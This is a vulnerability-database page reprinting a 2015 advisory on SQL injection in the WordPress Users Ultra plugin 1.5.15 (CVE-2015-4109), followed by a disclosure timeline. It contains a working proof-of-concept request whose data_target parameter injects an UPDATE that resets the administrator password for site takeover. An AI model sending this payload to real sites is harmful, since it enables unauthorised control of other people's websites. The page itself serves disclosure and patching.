Lucene search
K

WordPress Users Ultra 1.5.15 SQL Injection

🗓️ 06 Jun 2015 00:00:00Reported by panVagenasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

CVE-2015-4109 - WordPress Users Ultra Plugin SQL Injection allows arbitrary SQL commands executio

Related
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress Users Ultra Plugin SQL Injection Vulnerability
10 Jun 201500:00
cnvd
CVE
CVE-2015-4109
9 Jun 201514:00
cve
Cvelist
CVE-2015-4109
9 Jun 201514:00
cvelist
EUVD
EUVD-2015-4134
7 Oct 202500:30
euvd
NVD
CVE-2015-4109
9 Jun 201514:59
nvd
Patchstack
WordPress Users Ultra Plugin <= 1.5.15 - Multiple SQL Injection
28 May 201500:00
patchstack
Prion
Sql injection
9 Jun 201514:59
prion
securityvulns
CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection]
8 Jun 201500:00
securityvulns
securityvulns
Web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;
8 Jun 201500:00
securityvulns
WPVulnDB
Users Ultra <= 1.5.15 - SQL Injection
4 Jun 201500:00
wpvulndb
Rows per page
`# Exploit Title: CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection]  
# Date: 2015/05/30  
# Exploit Author: Panagiotis Vagenas  
# Contact: https://twitter.com/panVagenas  
# Vendor Homepage: http://usersultra.com  
# Software Link: https://wordpress.org/plugins/users-ultra/  
# Version: 1.5.15  
# Tested on: WordPress 4.2.2  
# Category: webapps  
# CVE: CVE-2015-4109  
  
One can perform an SQL injection attack simply by exploiting wp_ajax_nopriv_rating_vote action.  
POST parameters data_target and data_vote can be used to execute arbitrary SQL commands in the database.  
  
In the following PoC we change the administrators password to '1' so a malicious user can then login as the administrator, taking full control of the website.  
  
* Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: action=rating_vote&data_id=1  
&data_target=user_id IN (1); UPDATE wp_users set user_pass=MD5(1) where ID &data_vote=1  
* Login with administrator's user name and password '1'  
  
Note that we assume that table name prefix is 'wp' and administrators user id is 1, a very common scenario.  
  
* Timeline  
2015-05-29 Discovered  
2015-05-30 Vendor notified via contact form  
2015-06-01 Vendor notified via email  
2015-06-02 Vendor notified via support forums at wordpress.org  
2015-06-02 Vendor responded  
2015-06-04 Fix released in version 1.5.16  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation